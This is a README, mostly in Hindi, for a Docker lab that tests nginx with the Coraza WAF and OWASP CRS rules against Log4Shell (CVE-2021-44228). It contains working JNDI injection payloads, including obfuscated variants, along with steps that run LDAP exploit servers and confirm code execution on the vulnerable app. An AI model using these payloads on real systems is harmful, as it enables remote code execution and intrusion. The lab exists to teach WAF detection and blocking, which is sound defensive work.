
Log4Shell (CVE-2021-44228) रक्षा लैब — nginx + Coraza WAF डायनेमिक मॉड्यूल + OWASP CRS v4. केवल शैक्षणिक उपयोग के लिए।
शैक्षिक / रक्षात्मक उद्देश्य: इस लैब में जानबूझकर असुरक्षित (vulnerable) ऐप (Log4j 2.14.1) और JNDI एक्सप्लॉइट किट शामिल हैं, जो केवल पृथक वातावरण में Log4Shell का पता लगाने और उसे ब्लॉक करने का तरीका सीखने के लिए हैं। इसे इंटरनेट पर डिप्लॉय न करें, और इसका उपयोग उन सिस्टमों पर हमला करने के लिए न करें जो आपके नहीं हैं।
यह लैब nginx में एकीकृत Coraza WAF (डायनामिक मॉड्यूल) + OWASP CRS v4 + कस्टम JNDI नियमों के साथ Log4Shell (CVE-2021-44228) की रक्षात्मक अभ्यास प्रयोगशाला है। इसमें असुरक्षित Spring Boot टार्गेट कंटेनर, Kali attacker-box, तथा अवलोकन के लिए Suricata + Wazuh शामिल हैं।
Host (Windows / Docker Desktop)
│
├── dmz-net (172.20.0.0/24, external-facing)
│ ├── nginx-proxy ← entrypoint :80/:443, có Coraza module + CRS v4
│ ├── attacker-box ← Kali + JNDI exploit kits
│ └── suricata-ids ← sniff dmz traffic
│
└── backend-net (172.22.0.0/24, internal: true)
├── nginx-proxy ← second NIC
├── log4shell-app ← Spring Boot Log4j 2.14.1
├── wazuh-manager ← SIEM
└── wazuh-dashboard ← UI
Request flow: client → nginx (Coraza inspect) → log4shell-app. WAF nginx के अंदर चलता है (मॉड्यूल ngx_http_coraza_module.so के माध्यम से), अलग कंटेनर में नहीं।
| आइटम | न्यूनतम संस्करण |
|---|---|
| Docker Desktop / Engine | 24+ Compose v2 के साथ |
| खाली RAM | 4 GB (Wazuh ~1.5 GB उपयोग करता है) |
| खाली डिस्क | 6 GB (image build artifact) |
| पहली बार build का समय | 10–15 मिनट (libcoraza + nginx मॉड्यूल + Maven attacker उपकरण) |
cd /path/to/log4shell-nginx-coraza
docker compose build
सबसे धीमा स्टेज nginx है (Go 1.25 के साथ libcoraza v1.4.0 बनाना, फिर coraza-nginx मॉड्यूल कंपाइल करना)। पहली बार के बाद कैश हो जाता है।
docker compose up -d
docker compose ps
~30 सेकंड बाद, अपेक्षित स्थिति:
# nginx liveness
curl http://localhost/health
# → "nginx proxy healthy"
# qua WAF tới app (endpoint thật của log4shell-vulnerable-app)
curl -H 'X-Api-Version: 1.0' http://localhost/
# → "Hello, world!"
curl http://localhost/ बिना X-Api-Version हेडर के 400 लौटाएगा — यह Spring Boot whitelabel त्रुटि है (कोई handler नहीं), WAF द्वारा ब्लॉक नहीं।
# JNDI trong User-Agent → rule 1910010 fire, 403
curl -i -H 'User-Agent: ${jndi:ldap://attacker:1389/x}' http://localhost/
# JNDI trong header app log: X-Api-Version → rule 1910001 (header+arg) fire, 403
curl -i -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost/
# JNDI trong query string → CRS phase 1 chặn
curl -i 'http://localhost/?x=${jndi:ldap://attacker/x}'
अपेक्षा: HTTP/1.1 403 Forbidden, बॉडी <html>... 403 Forbidden ... nginx ...</html>।
# Lower trick (rule 1910004 / 1910008)
curl -i -H 'User-Agent: ${${lower:j}ndi:ldap://attacker:1389/x}' http://localhost/
# Colon-dash-dash (rule 1910008)
curl -i -H 'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker:1389/x}' http://localhost/
curl -i -X POST -H 'Content-Type: application/json' \
-d '{"msg":"${jndi:ldap://attacker:1389/x}"}' \
http://localhost/api/log
# → 403 (rule 1910026: Content-Type=json + body chứa jndi)
docker exec nginx-proxy sh -c 'tail -f /var/log/coraza/audit.log' | python -c "
import json,sys
for ln in sys.stdin:
try:
d=json.loads(ln)
t=d['transaction']
ua=t['request']['headers'].get('user-agent',['?'])[0][:60]
st=t['response']['status']
for m in t.get('messages') or []:
print(f'{st} {ua} :: {m[\"error_message\"][:160]}')
except: pass
"
प्रत्येक इवेंट JSON Lines प्रारूप में है, जिसमें:
transaction.is_interrupted: true → WAF ने ब्लॉक कियाmessages[].error_message → कौन सा नियम लागू हुआ, कौन सी फ़ाइल और लाइन, गंभीरताdocker exec nginx-proxy tail -f /var/log/nginx/access.log
ब्लॉक किए गए अनुरोधों को फ़िल्टर करें:
docker exec nginx-proxy sh -c 'grep " 403 " /var/log/nginx/access.log | tail'
./logs/nginx/ ← access.log, error.log
./logs/coraza/ ← audit.log (JSON), debug.log
डिफ़ॉल्ट रूप से
backend-netinternal: trueपर सेट है औरattacker-boxकेवलdmz-netमें है, इसलिए log4shell-app attacker-box तक नहीं पहुँच सकता। JNDI श्रृंखला को end-to-end काम करने के लिए पहले चरण 6.0 करें।
docker-compose.yml संपादित करें, attacker-box को backend-net में जोड़ें:
attacker-box:
networks:
- dmz-net
- backend-net # <— thêm
या log4shell-app को dmz-net में स्थानांतरित करें (सरल है लेकिन सेगमेंटेशन सीखने का मूल्य कम करता है):
log4shell-app:
networks:
- backend-net
- dmz-net # <— thêm
लागू करें: docker compose up -d (Compose उसी कंटेनर को पुनः बनाएगा)।
docker exec -it kali-attacker bash
cd /opt/exploits
# Option A: marshalsec — đơn giản, chỉ relay LDAP→HTTP
./scripts/start-ldap-server.sh marshalsec '' 172.20.0.2
# Option B: JNDI-Exploit-Kit — full toolkit, payload "touch /tmp/pwned"
./scripts/start-ldap-server.sh jndi-kit
सर्वर LDAP :1389 और HTTP :8888 पर सुनता है (compose में होस्ट पर पहले से expose किए गए हैं)।
# Từ attacker-box, gọi thẳng log4shell-app trên backend-net
docker exec kali-attacker curl -s -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://victim-app:8080/
जाँच करें:
# Pwned marker được tạo trong app container
docker exec victim-app ls -la /tmp/pwned
यदि फ़ाइल दिखती है → एक्सप्लॉइट श्रृंखला ठीक है, ऐप अभी भी असुरक्षित है, और मुख्य मार्ग से जाने पर WAF बायपास नहीं होता।
# Đi qua nginx (đường chính public)
curl -i -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://localhost/
# → 403 Forbidden, KHÔNG có /tmp/pwned mới
फ़ाइल ./coraza/config/log4shell-rules.conf को nginx में /etc/nginx/coraza/log4shell-rules.conf पर :ro माउंट किया गया है। संपादन के बाद:
docker exec nginx-proxy nginx -t # syntax check
docker exec nginx-proxy nginx -s reload
यदि Coraza पार्सिंग त्रुटि देता है (failed to compile the directive...), workers बाहर निकल जाएंगे और nginx -s reload उन्हें पुनः स्पॉन नहीं कर सकता। उस स्थिति में:
docker compose restart nginx
docker exec nginx-proxy tail -20 /var/log/nginx/error.log
इनक्लूड क्रम (nginx/coraza/main.conf में, जो इमेज में bake किया गया है):
SecRuleEngine On, ऑडिट लॉग, डीबग लॉगcrs-setup.conf — tx.*_anomaly_score, थ्रेशोल्ड प्रारंभ करता हैowasp-crs/rules/*.conf — संपूर्ण CRS v4.7.0log4shell-rules.conf — कस्टम नियम (होस्ट से माउंट किया गया)कस्टम नियम ID रेंज: 1910001 – 1910999 (CRS रेंज 900000–999999 से बचें)।
EMERGENCY, ALERT, CRITICAL, ERROR, WARNING, NOTICE, INFO, DEBUG. HIGH/LOW अमान्य हैं।IP:, SESSION:, RESOURCE:) बैकिंग स्टोर कॉन्फ़िगर किए बिना काम नहीं करते। प्रति-अनुरोध के लिए tx. उपयोग करें या nginx limit_req_zone के माध्यम से रेट-लिमिट करें।(unhealthy) / curl localhost लटक रहा हैdocker exec nginx-proxy tail -20 /var/log/nginx/error.log | grep coraza
आमतौर पर नए नियम में सिंटैक्स त्रुटि के कारण → सभी workers कोड 2 के साथ बाहर निकल जाते हैं। नियम ठीक करें, docker compose restart nginx चलाएँ।
failed to create WAF: ... unknown severity: HIGHकस्टम नियम में severity:'HIGH' → severity:'ERROR' बदलें।
failed to compile the directive "secrule": invalid arguments, expected collection TXनियम setvar:ip.xxx उपयोग कर रहा है या IP:something / TX:NEVER_DECLARED को संदर्भित कर रहा है। पर्सिस्टेंट कलेक्शन हटाएँ या तर्क को एकल चेन नियम में मिलाएँ।
Exited (1)इमेज jasonish/suricata:latest का अपना entrypoint है और ./suricata/config/ से माउंट किया गया yaml इमेज के संस्करण के साथ संगत नहीं हो सकता है। त्वरित समाधान: compose में suricata सेवा को अस्थायी रूप से कमेंट करें, लैब सामान्य रूप से चलती रहेगी (Coraza के काम करने के लिए IDS आवश्यक नहीं है)। पूर्ण समाधान के लिए, suricata.yaml को इमेज के डिफ़ॉल्ट से बदलें (docker run --rm jasonish/suricata cat /etc/suricata/suricata.yaml.dist > suricata/config/suricata.yaml)।
इमेज Alpine 3.8 EOL पर आधारित है। सुनिश्चित करें कि compose में कमांड ["java", "-jar", "/app/spring-boot-application.jar"] है (apk add iptables नहीं — Alpine 3.8 रिपॉजिटरी 404 दे चुकी है)।
http://localhost:5601 पर पहुँच नहीं हो रहीWazuh manager + dashboard को पूरी तरह काम करने के लिए wazuh-indexer (OpenSearch) की आवश्यकता है। वर्तमान स्टैक में यह सेवा गायब है — dashboard प्रारंभ होगा लेकिन लॉगिन विफल होगा। वास्तव में आवश्यकता होने पर, आधिकारिक compose के अनुसार wazuh-indexer सेवा जोड़ें।
# Stop + remove container, giữ image cache
docker compose down
# Nuke all (kèm volume Wazuh, ép rebuild lần sau)
docker compose down -v
# Xoá luôn image build (giải phóng ~3 GB)
docker rmi log4shell-nginx-coraza-nginx log4shell-nginx-coraza-attacker-box
log4shell-nginx-coraza/
├── docker-compose.yml
├── nginx/
│ ├── Dockerfile # multi-stage: libcoraza + coraza-nginx + CRS v4
│ ├── nginx.conf # load_module + coraza on; ở http{}
│ ├── conf/
│ │ └── default.conf # reverse proxy → log4shell-app:8080
│ └── coraza/
│ └── main.conf # engine config + Include CRS + custom
├── coraza/
│ └── config/
│ └── log4shell-rules.conf # custom JNDI rules, mount :ro vào nginx
├── attacker/
│ ├── Dockerfile # Kali + marshalsec + JNDI-Exploit-Kit + rogue-jndi
│ ├── scripts/
│ │ ├── start-ldap-server.sh
│ │ └── test-payloads.sh
│ └── exploit-classes/
│ └── Exploit.java
├── suricata/
│ ├── config/
│ └── rules/
├── wazuh/config/
└── logs/ # mount points cho nginx, coraza, app, suricata, wazuh
| रेंज | ज़िम्मेदारी | CRS रेंज से टकराव? |
|---|---|---|
| 900000–999999 | OWASP CRS v4 (init, IP rep, protocol, RCE, SQLi, XSS, scanners, blocking eval) | (CRS स्वामित्व) |
| 1910000–1910999 | कस्टम Log4Shell नियम | नहीं |
वर्तमान में उपलब्ध सभी कस्टम नियम ID: 1910001–1910008 (JNDI पैटर्न), 1910010–1910014 (प्रति-हेडर), 1910015 (वैकल्पिक प्रोटोकॉल), 1910020 (स्कैनिंग का पता लगाना), 1910026 (JSON बॉडी चेन), 1910028 (XML बॉडी चेन), 1910030 (पैरानोया 3), 1910999 (anomaly evaluation echo)।
समापन: यदि लैब चरण 4 तक चलती है, तो WAF काम कर रहा है। चरण 6 केवल तब आवश्यक है जब आप पूर्ण end-to-end एक्सप्लॉइट श्रृंखला का प्रदर्शन करना चाहते हैं।
| Service | STATUS |
|---|
nginx-proxy | Up (healthy) |
victim-app | Up |
kali-attacker | Up |
wazuh-siem, wazuh-web | Up |
suricata-ids | हो सकता है Restarting (देखें धारा 8 — लैब नहीं रुकती) |
TX:VARNAME केवल उसी अनुरोध में setvar द्वारा सेट किए गए चर को संदर्भित कर सकता है। यदि नियम दूसरे चरण में है, तो उसे चेन नियम में मिलाने पर विचार करें।